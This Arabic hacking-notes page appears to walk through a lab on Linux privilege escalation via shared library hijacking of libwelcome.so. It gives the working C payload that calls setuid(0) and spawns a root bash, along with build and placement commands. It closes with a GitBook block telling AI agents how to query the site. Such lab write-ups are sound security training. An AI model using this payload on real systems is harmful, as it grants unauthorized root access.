> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md).

# اختطاف المكتبة المشتركة libwelcome.so - تصعيد امتيازات لينكس

## ما هو

يستغل اختطاف المكتبات المشتركة أداة التحميل الديناميكي عندما يقوم ملف ثنائي ذو صلاحيات بتحميل كائن مشترك مفقود أو قابل للكتابة أو خاضع لسيطرة المهاجم. ويمكن لملف خبيث `.so` أن ينفذ تعليمات برمجية بصلاحيات العملية التي تقوم بالتحميل. تركز هذه الصفحة المحددة على **اختطاف المكتبة المشتركة (libwelcome.so)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## أمثلة

<details>

<summary>موقع الويب الخاص بآلات الثغرات <a href="https://attackdefense.com/challengedetails?cid=90"><strong>attackdefense</strong></a><strong>:</strong></summary>

</details>

ابحث عن الملفات التي تحتوي على [SUID](/ar/privesc/suid.md) الصلاحيات:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/e9c505d2ff388730cd1a012d7beeb0068128093c" alt=""><figcaption></figcaption></figure>

إذا كان مسار البحث عن المكتبة قابلاً للكتابة، فيمكننا وضع `libwelcome.so` مباشرةً في الدليل الذي يحمّله الملف الثنائي.

<figure><img src="/files/10d8dd624e5eea7f4f19ff99f03f9ebf618b1d4d" alt=""><figcaption></figcaption></figure>

من خلال فحص ملفات التهيئة، يمكننا أن نرى أن مسار المكتبة يشير إلى دليل غير موجود: `/home/student/lib`.

<figure><img src="/files/db61d7510c7a802b789f91c0ff6f665978df8823" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ef310d3d352ab9e864340e04bee69c925de43177" alt=""><figcaption></figcaption></figure>

أنشئ `lib` الدليل المفقود وضع حمولة `test.c` متحكَّمًا بها هناك:

<figure><img src="/files/81cfe03ee0645e24c9941aa9f84fcb408ba476fe" alt=""><figcaption></figcaption></figure>

هذا `test.c` تُشغّل الحمولة غلاف Bash كجذر عندما يحمّلها الملف الثنائي ذو الصلاحيات:

```c
#include <stdio.h>
#include <unistd.h>

int welcome(){
        setuid(0);
        setgid(0);
        system("bash -p");
        return 0;
}
```

قم بترجمة الحمولة على أنها `libwelcome.so` الكائن المشترك المتوقع:

```bash
gcc -fPIC -shared test.c -o libwelcome.so
```

<figure><img src="/files/bb969f1170373c78277a24ec6a678d0db90fbd6b" alt=""><figcaption></figcaption></figure>

انقل الكائن المشترك المُترجَم إلى `lib` الدليل المفقود وتحقق من أن الملف الثنائي يحلّه:

```bash
ldd /usr/bin/welcome
mv libwelcome.so lib
```

<figure><img src="/files/5699c3cea6a00ac18a8796791d00a369da15be8e" alt=""><figcaption></figcaption></figure>

شغّل `/usr/bin/welcome` مرة أخرى. يحمّل الملف الثنائي المكتبة الخبيثة ويعيد غلاف Bash كجذر:

<figure><img src="/files/7785cd0a5d2b4bc0c5fc5c5f613d5407187764f6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
